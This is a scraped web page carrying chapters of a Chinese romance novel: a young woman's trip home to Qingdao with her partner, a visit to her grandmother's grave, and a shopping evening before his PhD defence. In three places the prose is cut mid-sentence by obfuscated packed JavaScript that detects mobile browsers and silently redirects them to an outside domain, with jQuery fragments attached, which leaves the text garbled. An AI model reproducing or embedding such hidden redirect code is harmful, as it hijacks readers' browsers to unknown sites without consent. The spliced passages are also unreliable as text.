夏天这个时间,我开始心情不好,和蒋峪在一起之后,经他某次随口一说,我才慢慢意识到,我是想妈妈了,她确实是在一个夏天出走的,再然后,没几天我就背着小书包,乖乖去上幼儿园了。 想就出发,我们立刻买了高铁票,直奔青岛。 在我上大学前,我对我未来形象的想象是很贫瘠的,想得最远的,不过是套一身很贵的职业装,带手表,拎公文包,穿高跟鞋,其他也没了。 离开青岛去上大学时的我,如一只灰扑扑的小雀,微不足道地扇扇翅膀,就毫不留恋地往自由的世界飞去了。 现在,二十岁出头的我有一头半长不短的头发,穿普通的T恤和短裤,腕上带着叮铃铛啷的手链和手表,去任何地方几乎都穿着平底鞋或运动鞋。 我没有光鲜亮丽的生活,也没有车子,房子,兜里干净得一如十八岁时的两手空空。 但我有还可以的学历,有发展前景良好的工作,还有一个可爱的伴侣,我比过去二十年里的任何一个时间段都要从容,都要淡定,我很满意我自己。 - 从信号山出来,我俩直奔青岛啤酒博物馆。 我们这次来青岛完全是临时起意,什么计划也没做。对于一些景点,省内人蒋峪和本地人我是很熟悉的,我们都没有特别想去但没去过的地方。 前几天,济南这边的商场举办了“济交所”,济南的“青岛啤酒交易所”,还挺好玩的,我好多在济南上学上班的青岛同学都去打卡了,我就说等以后和蒋峪去体验青岛的青交所。 但蒋峪说他想喝正宗的青岛啤酒,我们就买票去了博物馆。 我喝了一杯原浆,一杯不知道什么甜味的果啤,一杯纯生,酒精抑制神经元,我感到情绪钝钝的,有一种置身事外的、轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417777|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘飘的快乐。 蒋峪问我:“一点点也会醉吗?” 我大概是有点微醺,误以为他说我的名字,立刻反驳:“我叫意点,不叫一点点。” 蒋峪从善如流:“对不起,意点女士可以原谅我吗?” 但我悄悄对他讲的是:“谢谢你。” 蒋峪什么都没说,只是不动声色地摸了摸我的头。 刚下过雨,青岛的夏夜傍晚好凉快,我们没坐地铁,决定沿着街头走一走。 互相去对方的城市旅行是一件很浪漫的事,蒋峪去过中山公园,去过小麦岛,去过金沙滩,但没有去过我的童年和少女时代,没有吹过我吹过的风,也没有看过我看过的日落。 曾经我认为永远不会宣之于口的小小心事,在酒精和晚风的催化下,一点点被我讲出来。 我问蒋峪,你说,如果我再见到我妈妈,我会怎样呢? 蒋峪非常肯定地说,你会当作什么都没有发生。 他确实是一个非常了解我的人,我其实早已经过了哭哭啼啼,想要有人如天神降临般拯救我的年龄了。 先不管这个人存不存在,就算哪怕未来有一天,我的妈妈,真真正正站在我的面前。我也绝对守口如瓶般,只会对她说,“你好,再见。” 我爱她,但与她无关。我想念她,也与她无关。 我以前总以为,我在等,等一个合适的时机,安放我对妈妈的特殊情感。 后来,也就是现在,我意识到,我根本无需这样,我对某些事情想就想,不想就不想,我是自由的成年人,在不伤害任何人的前提下,我做什么都可以。 我并不需要什么事都划分个四五六,比如,我不需要将我爸和阿姨划分到恨的阵营,然后把妈妈拉到爱的一边,这除了让我不停地拿这些人当回事,没有任何意义。 我的世界是我自己的,围着我转的,在爱里,不必明白爱的意义,那恨更是没有必要。 这个世界,曾经很小,但现在很大,有蒋峪,有鲜花,有小绿电动车,也有我的学业,我的工作,我的未来,它趣味多多,生机勃勃,它永远有爱,永远可爱。 21. 即墨牌老酒 在青岛的第二天上午,我和蒋峪去看我奶奶。 决定去的前天晚上,我们两个躺在床上,一起讨论买点什么。 买黄纸的话,我和蒋峪从来没烧过这个东西,不懂里面的忌讳;买鲜花呢,好像对于我的朴素家庭来讲,又有点过于时髦了;除了酒以外,我奶奶很少对吃什么表现出明显的喜好,而且我和她只在我四五岁到十来岁相处过,距今也有十年出头,实在是太久了。 蒋峪问我:“那咱们这边去上坟的话,都有什么习俗吗?” “买酒和烧纸吧?”我又卡壳了,我说我不清楚。 我真不知道其他老青岛是怎么祭奠逝者的,反正我家是只有大日子,比如清明,年节,忌辰会去那烧纸,平常没事儿一般不去。 而且奶奶过世这么多年,我除了考上高中、大学和研究生去过几次,每年也只有我爸去,他从不让我们晚辈去那儿。用我爸的话讲,只有墓主子女去烧纸,哪有孙辈去的道理,这可能是我家自己的习俗吧。 我爸在我家是很专断的,他是我爷爷奶奶的独生子,然后我爷爷又是我老爷爷唯一活下来的孩子,所以我爸从小就过得非常说一不二,我们都得听他的。 也正因为这样,我不打算告诉我爸,我要去公墓看望我奶奶。他要是知道了,那就不是一张嘴能说明白的了。 思来想去,我们最后决定买一瓶即墨牌老酒,一袋王哥庄的铁锅馒头,几个橘子,还有一盒脂渣,因为我奶奶以前经常做给我吃。 今天早晨,在买完所需的食品后,我和蒋峪钻进了一家图文打印店。 因为蒋峪一直在想怎么向我奶奶介绍他自己,以一个孙女男朋友的身份,我想了想便对他说:“你不介意的话,可以烧一份你的论文或者证书的复印件。” 在我眼里,烧某些成就证明的复印件给过世亲人,是一件很浪漫的事情,它们是属于我们年轻人能烧的、忌讳不多的“黄纸”。 我考上研以后,我就去奶奶那里,烧了我的录取通知书、大学毕业证、学位证的复印件。 当时烟雾缭绕,熏得我的眼睛十分酸胀的,我在心里告诉我奶奶,我一直在很努力地读书,读到我们家目前的最高学历,我没有辜负她。 在我默念这些话的时候,我不合时宜地走神想到一些我曾经看过的“显灵”视频,我好奇地想,我把自己照顾得这样好,奶奶会不会也显灵一下呢? 但是什么都没有发生,纸烧完以后,火灭成灰,轻飘飘地就散烟了 刚从打印机里拿出来的纸张是热的,我把它们对折放进蒋峪和我装东西的塑料袋里,轻轻一拎,同样沉甸甸。 去公墓的路上,蒋峪让我继续讲讲我奶奶。 我想了想,脑海里最先浮现的,居然是一些关于学习的片段。 我奶奶对我小学的管教非常严厉,我考不到九十五以上分数她不给我签名;期末领成绩前,再三警告我拿不到奖状怎样怎样;到我三四年级,不用铅笔的时候,她非常严格地限制我用修正带和涂改液,她真能做到,如果我用了太多,会撕掉语文周记,让我重新写...... 印象很深的是某次英语小测,试卷有个地方需要填数字十二twelve的序数词,也就是twelfth,但我写错了。 再加上其他扣分点,我的卷子只考了91分。虽然我奶奶不懂英语,但她认识错误,所以她让我把twelfth写了一百遍,没写完不要吃饭了。 那天,我在奶奶的监督下罚写,我写到手抽筋,写到崩溃大哭,她都没有动摇一下。 事后,她给我做了一碗滚烫的西红柿鸡蛋疙瘩汤,在我用左手吃得很狼狈的时候,我奶奶拿纸擦了一下我的嘴角。 那么轻轻的一下,像鸟的羽毛蹭过我的嘴角,那一刻,我的眼泪刷一下掉出眼眶,我几乎是立刻忘掉了她带给我的崩溃,而是觉得,奶奶好像又开始爱我了。 奶奶站在灯下背光的位置,银白色的头发到晚上仍梳得一丝不苟,她居高临下地站在我面前,还是一副冷声冷气的模样。她问我知道错了吗?我说知道了,她又问我以后还这样吗?我就说我改了。 我确实改了,自那以后,我再也没有写错过,甚至直到现在,我都能立刻写出twelve的序数词twelfth怎么拼。 我不能说奶奶这样教育我不对,因为我确实没有爸爸妈妈管,所以我奶奶觉得她必须得严格抓我学习,还得把我教得特别好,这样别人才不会说我们家的闲话。 她这样近乎刻板的教育,给我养成了还不错的学习习惯,使我在她过世之后长达六年的住宿生活里,一直没有放弃变“优秀”,尽管我曾很痛苦。 但我心里特别清楚,如果没有我付出一定精神代价,换取到现在的成就,那我一定会在爸爸和后妈的放任下,走上一条比现在痛苦千百倍的路,尤其是作为一个女孩。所以,我将永远受益于奶奶的教育,哪怕带着极端的错误,但这和堕落的命运相比,它显然不值一提。 “因为你是女孩,所以你更得什么都会。”我总是被奶奶要求做这个,做那个,也总是被她拿来和弟弟比,我那时候可能也就八九岁,我也有情绪,也会问她为什么。 而我奶奶每次也都是那句话:“他有妈,你没妈,你自己不会干,有谁替你干?” 如果我再抱怨,那奶奶就会说:“一个女孩子,你什么都不会,到了婆家没人喜欢你。” 我非常不爱听这种话,只好选择乖乖做事来让她不再絮叨。 也许,我不是不明白奶奶要我勤快、要我懂事的苦心,因为她认为,一个眼里有活干的孩子,在亲爸和后妈的手底下讨生活,总归是容易些的。 我是知道的,可能我对奶奶说的那句“为什么总是我,为什么你总是拿我和弟弟比?”已经是我这种被奶奶照看长大的“老式小孩”的、最外向的撒娇了。 我阿姨从大连嫁到青岛,距离不远,但落到生活实处,也算远嫁了。 每年暑假,爸爸和阿姨就会带着弟弟,一起去阿姨娘家探亲。而我会背上一书包的衣服和书,从学校宿舍出来,自己搭地铁去奶奶家。 后来奶奶过世了,我的暑假变成了一个人。 但我会自己在家里学习,会出门去超市买菜,然后回家给自己做好吃的,我一个人也能把自己照顾得很好。 直到我十几岁时,在独自生活的某个夏天早晨,厨房烟雾报警器发出的尖锐爆鸣把熟睡的我吵醒,我不想下床处理,在拽着被子蒙上头之后,下意识大声喊了一声奶奶。 家里空荡荡的,没有回音。 喊完我才清醒,奶奶早就不在了,这里只有我。 烟雾报警器停了,可我的耳朵却开始了阵阵耳鸣,她过世的余音好像就是在这一天,悄悄开始了阵痛。 那时候,我第一次模模糊糊地认识到,在这个世界上,真的只剩下我一个人了。孤独感像潮水般涌来,是我青春期的第一件少女心事。 - 上午十点多,风热乎乎的,太阳晒得人睁不开眼睛。 我和蒋峪到达公墓的时候,旁边有一户人家正在举行下葬仪式,中间长得最高的一个人举着黑伞遮蔽太阳,其他所有人围成一团,一切很安静,只能听到主事人的声音断断续续传过来。 我和蒋峪驻足了一秒,随即从另一侧绕了过去,我们不想打扰到别人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417778|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一次性纸杯倒满了黄酒,脂渣和馒头都打开袋子放好,我和蒋峪蹲在一起剥橘子,凑得太近,蒋峪的手劲儿又比较大,橘子汁溅到了我的眼睛里。 “抱歉,抱歉。”蒋峪比我还紧张,我看到他一边给我找水,一边下意识看了一眼我奶奶的碑石。 我被他逗笑了:“你这么紧张做什么?” “嘘。”蒋峪摇摇头,什么都没说。 我们摆了一个正方形,按照脂渣、馒头,酒,橘子的顺序放的,意思是,先吃肉,再吃馒头,喝酒解渴,餐后水果是橘子。 摆好以后,我问蒋峪,“我们是不是得安安静静地等奶奶来了,吃了,我们再说话啊?” 蒋峪则认为:“不先烧纸的话,奶奶怎么知道咱们俩来了呢?” “好像也对。” 我拿出我们打印的纸,蒋峪试了试打火机,扭头问我:“现在开始吗?” 我点点头。 打火机窜出一束小小的火苗,我们俩沉默地看着火舌一点一点卷过复印纸的边角,而后变成一块块滚烫的灰,空气一下子变热了,像有了活气那样。 据我以前给奶奶烧纸的经验,人一般是不说话的,我也是在心里和她默默交流,但这次有了第三人,我似乎应该充当起中间人的角色,为奶奶介绍一下旁边的蒋峪。 但还没等我开口,蒋峪先自顾自说了下去:“奶奶你好,我是蒋峪。” 看到蒋峪一本正经介绍自己的模样,我下意识笑了一下,“你不要这么严肃,来看奶奶,轻松一点就可以。” 过了第一下的卡壳,后面说什么都很顺利了,蒋峪说了一通,先是怎么和我认识的,我们怎么好上的,后面是他家里有什么人,几个孩子,几个老人....... 蒋峪的声音低低的,柔和、沉静,说着说着我不自觉加入了对话,剩下就是我们一起聊天了。 临走前,我拿出剩下的一次性纸杯,给我和蒋峪一人倒了半杯酒。 蒋峪说这是他第一次喝即墨老酒,我迫不及待地问他:“怎么样?什么味道的?” “刚开始感觉有一股烤糊的味道,然后还有一点甜味,就是酒的味道。” “蒋峪,你觉得好喝吗?” “可以接受。” 可以接受,就是一个很一般化的评价了,但我觉得蒋峪是天才,因为他和我对这种酒的感觉简直一模一样! 即墨牌的老酒,二三十块钱一瓶,每到夏天吹空调,或者冬天输送暖气前后,我奶奶就会时不时喝一杯老酒。 有时候,她会往里面搁点姜丝和话梅,放到炉子上面加热。她也总招呼我尝尝,我们家那时候还没有未成年不能饮酒的严格概念,我每次都是紧张地抿一口,生怕喝多了变成傻子。 温热的黄酒,我一喝多准留鼻血,我奶奶便会搬出她的口头禅,还是孩子好,年轻火旺的。 年轻火旺的我和蒋峪喝完了各自的半杯,彼此都感觉到对方的耳朵和脖子一点点红了起来。 日头渐高,气温还是很热的,蒋峪整理了一番地上的东西,他贴心地去丢垃圾了,留我自己安心待一会。 近距离里,蒋峪不在,刚才安葬亲人的那一行人也走了,天地间空空荡荡的,好像只剩下我一个人。 但我只是安安静静站了一两分钟,什么都没有做。 距离我第一次来这个地方,已经过去整整十年了,光阴如梭,我这个曾经站在奶奶前面将将一米六的豆芽菜,已经长成一个一米七的瘦高高模样了。 你也会为我感到欣慰吗?我在心里默默地想着,我过得很好,非常好,我会一直这样努力生活下去的。 请相信我。 22. 玩 蒋峪博士答辩前夕,我陪他出门买衣服。 他想买一件新的衬衫,代表五年直博生活的结束和下半年新工作的开始,确实意义非凡。 但是蒋峪也没什么纠结,走进优衣库,试穿,买单,前后不过二十分钟就搞定了。 空出了一晚上时间的我:...... “接下来我们去干嘛呢?” “玩。” “真的啊?”听到这话,还没等蒋峪说完,我已经高兴地挂上了笑容。 但开心不过一秒,我就撇下了嘴角,因为这几天过得太忙了,我只要一闲下来,脑子就会不停地浮现那些工作,甚至有一种要呕吐的冲动。 研二下学期,是我目前整个读研生活中最痛苦的一段时间。 学校里,小论文勉强告一段落,大论文还在艰难产出中,敲键盘还不如挤牙膏干脆,实在是太痛苦了。校外的话,我有一周三天半的实习,每天早上和一堆老头老太挤早班公交去单位的时候,我都感觉生无可恋,特别想对他们说,起来活动活动吧,我想坐下歇歇了。 整个五月,我只打算休两个半天,一次是和蒋峪他爸妈一起去野餐,再一次就是今天晚上,和蒋峪出门买衣服。 在蒋峪提了一嘴他想买件新衬衫准备答辩的时候,我立刻告诉他,我想陪你去买。我就像一只终于找到正当理由休息的地鼠,发现一个漏洞,马上躲进来了。 要玩那就好好玩,我想了想,决定把烦恼跑在脑后,先买一杯奶茶解渴。 汪意点小姐喝“一点点”奶茶,我问蒋峪:“你不觉得很奇怪吗?” 蒋峪:“哪里奇怪?” 我:“同类相斥。” 蒋峪:“哈哈。” 蒋峪几乎不喝奶茶,他只喝咖啡,自从和我认识以后,他决定跟随我的脚步,也加入“点门”。 某次蒋峪出差,连轴转最累的一天,他从会场出发去酒店,路过一条全是饮品店的街,一众红黄蓝的门头中,“一点点”的绿色招牌特别突出,他下意识笑了一下。 蒋峪师姐问他笑什么,他可能当时太疲倦了,脱口而出想我女朋友,然后被全车人调侃了。后来我去参加这个师姐的婚礼,头天在她家吃完饭休息的时候,她立刻问我要不要喝一点点,我才知道蒋峪是这么公开恋情的。 人名是这个世界上最小单位的代号,不过几个简单汉字的组合,竟然可以产生这样多美丽的联结。 我叫“意点”,这是一个很不常见的名字,一想到等我老了,有人会叫我“意点奶奶”,我就感觉很可爱,听起来像一个蛋糕店的招牌,里面还会卖很多甜品,每天都飘着甜蜜香气。 我问蒋峪为什么叫蒋峪,是因为蒋峪的妈妈叫谷雨,张谷雨,这也是一个非常美丽的名字,所以蒋峪爸妈给他取单名叫“峪”。 我依稀记得曾看过一个由知名作家的长篇作品改编成的电视剧,讲述了一个年轻女性青涩而忧伤的爱情故事,女主的名字就叫谷雨。 因为我不喜欢下雨天,在谷雨前后的春雨时节,我偶尔就会想到这个名字,想到一些带着淡淡伤感的片段。 以前听蒋峪说,他的妈妈叫张谷雨,我脑海里第一浮现的就是这样一个瘦高女性的形象。 后来我见到了蒋峪妈妈本人,她是一个珠圆玉润的阿姨,会穿猫猫头的短袖和牛仔裤,笑起来极其爽朗明快,我便立刻把曾经对“谷雨”的认知抹去了。 谷雨,雨水生百谷,多么生机勃勃的一个词啊。 由于我的奶茶里加了致死量的冰块,给蒋峪尝了一口,他被冰到皱眉,“小宝,这真的没有问题吗?” “绝对没有。”如果忽略掉我下次痛经的话,确实没问题。 蒋峪喝的是一杯去冰不加糖的香蕉奶昔,有一种香蕉皮泡脱脂牛奶的味道,我尝了一口就拒绝了,还是认为自己的好喝。 但我从来没有想过,有一天,我的快乐仅仅是因为一杯加很多冰块的奶茶。 因为读研和上班有了很多个人积蓄以后,我经常在不顺心的时候疯狂下单,但那种快乐有时候很空虚,我会一边焦虑一边等,直到下一个烦恼的到来。 有时候也会看到很多同学的调侃,说情愿去摇奶茶,摆地摊,也不要写论文,不要读博读研了,但摇奶茶也要有能久站的体力,摆地摊也得经受风吹雨淋,能有谁是轻松的呢? 假设之所以称之为假,因为心知肚明它不可能变成现实。人被架到某个不快乐的阶段,进也不是,退也不是,只能硬着头皮继续往前了。 去年秋天,研二开始刚不久,我得知有一个同学打算退学。这个男生我知道,他是从一所省内双非院校保研过来的,绩点rank1,但是无科研无竞赛无含金量论文,最后才被我们学校候补上。 我觉得他是付出很多才来到这里的,没想到研一刚过去,他却选择退学。 我们有老师和同学劝对方,申请延毕也可以,暂时休学去把事情处理好,再回来读研也没关系。但对方应该是拒绝了,态度明确地说要退学。 当天晚上,我们宿舍讨论这个事,我有一个舍友说得特别对,对于一个好学生来讲,如果他情愿退学,都不要再学习,或者都要离开某种状态的时候,那说明一定发生了比这更严重的事情,使得他不能继续念书了。 直到上个星期,蒋峪校审前最忙的时候,我从朋友圈看到了这个同学的一则近况,我这才知道,他的爸爸在年初时候因为癌症过世了。 经过消失半年的修整,他找到了一份满意的工作,也找到了一个相爱的伴侣,所以才发一条朋友圈表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417779|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己已走出阴霾。 真好,我在手机这头,默默扣出了一个赞。 - 说是玩,但逛商场是超级无聊的,蒋峪便怂恿我也去买衣服。 因为我们这个暑假规划了两个出去玩的事情,去呼伦贝尔大草原和鄂温克音乐节,所以我看中了一条在两个场合都很适合穿的新裙子。 那是一条很漂亮的蓝色吊带长裙,胸口处缀有一圈蕾丝白边,布料是纯棉的,摸上去既柔软又亲肤。只有一点美中不足,它对我来讲露肤度有点高。 我是想买的,但是克服不了心里那关。虽然我知道大街上没人看我,但美丽羞耻症作祟,我还是会感到羞涩。 蒋峪提议:“要不,在裙子外面搭一件外套?” 我摇头:“但那样的话会很热啊,而且也显不出这条裙子的好看来了。” 蒋峪忍俊不禁:“那还等什么,今天就去买吧。” 我还是有点犹豫:“真去啊,让我再想想。” “真去。”蒋峪说着和我走到了直梯前面“你就想想,现在不穿,什么时候穿?” “而且还有我呢,你觉得不舒服,我们立刻换掉就可以了,是不是?” “就当是一种体验。” 在蒋峪的赞同下,我们又回到了我某天第一次看到某条裙子的店里。 很可惜的是,适合我尺码的最后一条在几天前被买走了,想要的话得等工作人员从别的店调货,然后寄给我。 听到店员这样说,我立刻打消了刚做好的决定,而且我认为线下店的核心卖点是体验,在亲自试穿到之前,我是不会买账的。 我有些失落,但幸好生活并没有这样戏剧化,因为那条裙子还有别的颜色!是白色的,没有蓝色看上去清新,但蒋峪觉得很适合大草原的绿色环境,可以搭配一个草帽。 蒋峪还给我设计了一个发型,双麻花辫的低丸子头,他说这样可以露出衣服比较漂亮的一部分,而且还比较凉快。 买完衣服去买项链,因为蒋峪说他给我设计的发型会显得脖子很空。 我后知后觉,蒋峪在哄我开心。 这段时间我过得焦头烂额,比连轴转的陀螺还劳碌,但蒋峪忙着毕业,和我一样不得喘息,他现在稍微松口气了,就开始想着让我也高兴一下。 自从去年我买了一条手链以后,我感觉黄金就像搭乘了火箭一样,金价蹭蹭往上涨,每次我都感觉自己特别明智。 蒋峪和我最后挑了一个吊坠是叶子形状的项链,寓意学业有成,事业进步。 “这叫什么,毕业礼物吗?”我好笑地问蒋峪“你毕业,然后送我礼物?” 蒋峪理所当然:“给个机会啊。” “是我谢谢你,真的。”我晃了晃我们相牵的手,没再说话。